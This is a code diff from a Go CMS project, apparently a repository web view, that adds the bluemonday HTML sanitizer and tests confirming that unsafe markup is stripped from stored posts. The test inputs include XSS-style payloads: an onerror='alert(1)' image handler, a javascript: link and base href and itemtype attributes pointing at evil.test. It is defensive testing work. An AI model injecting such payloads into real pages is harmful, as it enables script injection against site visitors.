out, err := FormatHTML(`<p style="position: fixed; color: red" target="_blank" itemtype="https://evil.test/x">x</p>`)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if want := `<p style="color: red">x</p>`; out != want {
|
||||
t.Fatalf("got %q, want %q", out, want)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// TestJournalEndToEnd keeps `go test ./... -run TestJournalEndToEnd`
|
||||
|
||||
5
go.mod
5
go.mod
@@ -8,10 +8,12 @@ require (
|
||||
git.golem15.com/golem15/summercms v0.1.16
|
||||
github.com/go-gormigrate/gormigrate/v2 v2.1.7
|
||||
github.com/jackc/pgx/v5 v5.10.0
|
||||
github.com/microcosm-cc/bluemonday v1.0.27
|
||||
github.com/testcontainers/testcontainers-go v0.44.0
|
||||
github.com/testcontainers/testcontainers-go/modules/postgres v0.44.0
|
||||
github.com/yuin/goldmark v1.8.6
|
||||
gocloud.dev v0.46.0
|
||||
golang.org/x/net v0.58.0
|
||||
gorm.io/gorm v1.31.2
|
||||
)
|
||||
|
||||
@@ -19,6 +21,7 @@ require (
|
||||
dario.cat/mergo v1.0.2 // indirect
|
||||
github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c // indirect
|
||||
github.com/Microsoft/go-winio v0.6.2 // indirect
|
||||
github.com/aymerick/douceur v0.2.0 // indirect
|
||||
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||
github.com/containerd/errdefs v1.0.0 // indirect
|
||||
@@ -45,6 +48,7 @@ require (
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1 // indirect
|
||||
github.com/google/uuid v1.6.0 // indirect
|
||||
github.com/googleapis/gax-go/v2 v2.19.0 // indirect
|
||||
github.com/gorilla/css v1.0.1 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.1.0 // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 // indirect
|
||||
@@ -106,7 +110,6 @@ require (
|
||||
go.yaml.in/yaml/v3 v3.0.5 // indirect
|
||||
golang.org/x/crypto v0.57.0 // indirect
|
||||
golang.org/x/image v0.46.0 // indirect
|
||||
golang.org/x/net v0.58.0 // indirect
|
||||
golang.org/x/sync v0.23.0 // indirect
|
||||
golang.org/x/sys v0.48.0 // indirect
|
||||
golang.org/x/term v0.46.0 // indirect
|
||||
|
||||
6
go.sum
6
go.sum
@@ -72,6 +72,8 @@ github.com/aws/aws-sdk-go-v2/service/sts v1.42.3 h1:ErklX/7uhSbkAAeyQD/Y1OoQ9hO3
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.42.3/go.mod h1:ULe4HCzfKPiR6R3HEurE3b1upEkuk8AkMrOKtaOxKO8=
|
||||
github.com/aws/smithy-go v1.26.0 h1:9ouqbi+NyKP7fV3Te7UElCwdAb6Y8uk7LGwPE5tVe/s=
|
||||
github.com/aws/smithy-go v1.26.0/go.mod h1:YE2RhdIuDbA5E5bTdciG9KrW3+TiEONeUWCqxX9i1Fc=
|
||||
github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk=
|
||||
github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4=
|
||||
github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8=
|
||||
github.com/cenkalti/backoff/v4 v4.3.0/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE=
|
||||
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
||||
@@ -153,6 +155,8 @@ github.com/googleapis/enterprise-certificate-proxy v0.3.14 h1:yh8ncqsbUY4shRD5dA
|
||||
github.com/googleapis/enterprise-certificate-proxy v0.3.14/go.mod h1:vqVt9yG9480NtzREnTlmGSBmFrA+bzb0yl0TxoBQXOg=
|
||||
github.com/googleapis/gax-go/v2 v2.19.0 h1:fYQaUOiGwll0cGj7jmHT/0nPlcrZDFPrZRhTsoCr8hE=
|
||||
github.com/googleapis/gax-go/v2 v2.19.0/go.mod h1:w2ROXVdfGEVFXzmlciUU4EdjHgWvB5h2n6x/8XSTTJA=
|
||||
github.com/gorilla/css v1.0.1 h1:ntNaBIghp6JmvWnxbZKANoLyuXTPZ4cAMlo6RyhlbO8=
|
||||
github.com/gorilla/css v1.0.1/go.mod h1:BvnYkspnSzMmwRK+b8/xgNPLiIuNZr6vbZBTPQ2A3b0=
|
||||
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
|
||||
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/jackc/pgerrcode v0.0.0-20240316143900-6e2875d9b438 h1:Dj0L5fhJ9F82ZJyVOmBx6msDp/kfd1t9GRfny/mfJA0=
|
||||
@@ -195,6 +199,8 @@ github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o
|
||||
github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||
github.com/mdelapenya/tlscert v0.2.0 h1:7H81W6Z/4weDvZBNOfQte5GpIMo0lGYEeWbkGp5LJHI=
|
||||
github.com/mdelapenya/tlscert v0.2.0/go.mod h1:O4njj3ELLnJjGdkN7M/vIVCpZ+Cf0L6muqOG4tLSl8o=
|
||||
github.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk=
|
||||
github.com/microcosm-cc/bluemonday v1.0.27/go.mod h1:jFi9vgW+H7c3V0lb6nR74Ib/DIB5OBs92Dimizgw2cA=
|
||||
github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw=
|
||||
github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s=
|
||||
github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ=
|
||||
|
||||
@@ -151,3 +151,44 @@ func TestPostsAdminResaveKeepsHTML(t *testing.T) {
|
||||
env.expect(t, http.StatusOK, http.MethodPut, adminAPI(fmt.Sprintf("%s/%d", adminPostsPath, created.ID)), token, body)
|
||||
assertHTML("re-save")
|
||||
}
|
||||
|
||||
// TestPostsAdminSaveSanitizesHTML pins CR-01 and WR-01 on the admin write
|
||||
// path: unsafe markup in content is stripped from content_html, as Winter's
|
||||
// Html::clean strips it, instead of refusing the save, and a "Data:" label is
|
||||
// ordinary text. content itself is stored as submitted.
|
||||
func TestPostsAdminSaveSanitizesHTML(t *testing.T) {
|
||||
env := newPostsEnv(t)
|
||||
token := env.admin(t,
|
||||
controllers.PermissionAccessPosts,
|
||||
controllers.PermissionAccessPublish,
|
||||
controllers.PermissionAccessOtherPosts,
|
||||
)
|
||||
const content = "<p>Data: 12 maja 2024</p>\n" +
|
||||
"<p><img src=\"https://cdn.example.test/a.jpg\" alt=\"a\"onerror=\"alert(1)\"></p>\n" +
|
||||
"<p><a href=\"javascript:alert(1)\">x</a></p>\n" +
|
||||
"<base href=\"https://evil.test/\">"
|
||||
rec := env.expect(t, http.StatusCreated, http.MethodPost, adminAPI(adminPostsPath), token, map[string]any{
|
||||
"title": map[string]any{"en": "Sanitized", "pl": "Oczyszczony"},
|
||||
"slug": map[string]any{"en": "sanitized-html", "pl": "oczyszczony-html"},
|
||||
"content": map[string]any{"en": content, "pl": content},
|
||||
})
|
||||
var created struct {
|
||||
ID uint `json:"id"`
|
||||
}
|
||||
if err := json.Unmarshal(adminDecode(t, rec).Data, &created); err != nil || created.ID == 0 {
|
||||
t.Fatalf("create data %s: %v", rec.Body.String(), err)
|
||||
}
|
||||
var stored models.Post
|
||||
if err := env.gdb.First(&stored, created.ID).Error; err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
const want = "<p>Data: 12 maja 2024</p>\n" +
|
||||
"<p><img src=\"https://cdn.example.test/a.jpg\" alt=\"a\"></p>\n" +
|
||||
"<p>x</p>"
|
||||
if got := strings.TrimSpace(stored.ContentHTML); got != want {
|
||||
t.Fatalf("content_html = %q, want %q", got, want)
|
||||
}
|
||||
if stored.Content != content {
|
||||
t.Fatalf("content = %q, want it stored as submitted", stored.Content)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user